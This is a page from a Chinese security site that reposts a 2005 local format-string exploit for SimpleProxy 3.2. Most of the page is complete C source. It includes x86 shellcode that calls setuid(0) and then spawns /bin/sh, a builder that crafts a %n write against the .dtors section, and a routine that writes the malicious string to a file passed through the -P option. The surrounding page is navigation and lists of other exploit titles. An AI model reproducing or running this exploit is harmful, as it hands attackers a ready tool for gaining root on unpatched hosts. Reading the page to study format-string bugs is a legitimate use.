首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SimpleProxy Local Format String
来源:http://exploiterz.org 作者:Darkeagle 发布时间:2005-09-05  

SimpleProxy Local Format String (Exploit)

Summary
"simpleproxy acts as a simple TCP proxy. It opens a listening socket on the local machine and forwards any connection to a remote host. It can be run as a daemon or through inetd."

Due to improper use of user provided data attackers can provide the program a format string which in turn can be used to execute arbitrary code.

Credit:
The information has been provided by Darkeagle.
The original article can be found at: http://exploiterz.org/simpleprx-exp.c

Details
Vulnerable Systems:
* SimpleProxy version 3.2

Exploit:
/*
\ SimpleProxy 3.2 local format string exploit
-/ by Darkeagle
\
-/ syslog() function in simpleproxy.c
*
*++++++++++++++++++++++++++++++++++++++++
static void log(int type, char *format, ...)
{
...
#if HAVE_SYSLOG
syslog(type,buffer);
...
}

static struct lst_record *load_pop3_list(const char *popfile)
{
...
if(*str=='\0') continue;
log(LOG_INFO,"Adding '%s' to POP3 users list",str);
...
}
*++++++++++++++++++++++++++++++++++++++++
*

Also exists other vulnerable calls of log() function, including remote call
One more local exists in -P parameter:

[darkeagle@localhost simpleproxy-3.2]$ ./simpleproxy -L 3337 -R localhost:110 -d -v -p1 -f sample.cfg -P AAAA%8$\x
[darkeagle@localhost simpleproxy-3.2]$ tail -2 /var/log/syslog
Aug 27 00:14:05 localhost simpleproxy[5755]: Can't open POP3 file: AAAA4141203a
Aug 27 00:14:05 localhost simpleproxy[5756]: Error binding socket.
[darkeagle@localhost simpleproxy-3.2]$

very easy to exploit.

to sploit simpleproxy put in -P parameter 'popa3d.txt' value.
bug was corrected in latest version (3.4).
enough.
\
-/
\
-/
\
-/
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// We must begun !!!

#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}

char
shellcode[]=
"\x31\xc0"
"\x31\xdb"
"\x31\xc9"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x8d\x54\x24\x08"
"\x50"
"\x53"
"\x8d\x0c\x24"
"\xb0\x0b"
"\xcd\x80"
"\x31\xc0"
"\xb0\x01"
"\xcd\x80";

char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
{
char * buf;
unsigned char b0, b1, b2, b3;
int start = 256;

doit( b0, b1, b2, b3, retaddr );
buf = (char *)malloc(999);
memset( buf, 0, 999 );

b3 -= figure;
b2 -= figure;
b1 -= figure;
b0 -= figure;

snprintf( buf, 999,
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
b3 - (sizeof( size_t ) * 4) + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );

return buf;
}

int
main( int argc, char * argv[] )
{
char * fmt;
char endian[555];
unsigned long locaddr, retaddr;
unsigned int offset, base;
unsigned char b0, b1, b2, b3;
FILE *file;

memset( endian, 0, 555 );

file = fopen("popa3d.txt", "w+");

locaddr = 0x804ce20; // dtorz addrz :=)
retaddr = 0xbfffec54; // shellcode addr
offset = 5;
locaddr += 0x4; // dtorz+0x4

doit( b0, b1, b2, b3, locaddr );

base = 4;

snprintf( endian, sizeof(endian),
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = evil_builder( retaddr, offset, base, 0x4 );

memset(fmt+strlen(fmt), 0x42, 48);
strcat(fmt, shellcode);
strcat(endian, fmt);
fprintf(file, "%s", endian);
return 0;
}

/* EoF */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpLDAPadmin Command Execution
·FREE SMTP Open Relay Vulnerabi
·DameWare Mini Remote Control S
·P2P Pro Command DoS
·IIS Information Disclosure
·MS05-018 windows CSRSS.EXE Sta
·Gopher <= 3.0.9 VIEWS Remot
·Microsoft Windows keybd_event
·Adobe Version Cue -lib Command
·CUPS Dot-Slash DoS
·Adobe Version Cue VCNative Pre
·Man2web CGI Command Execution
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved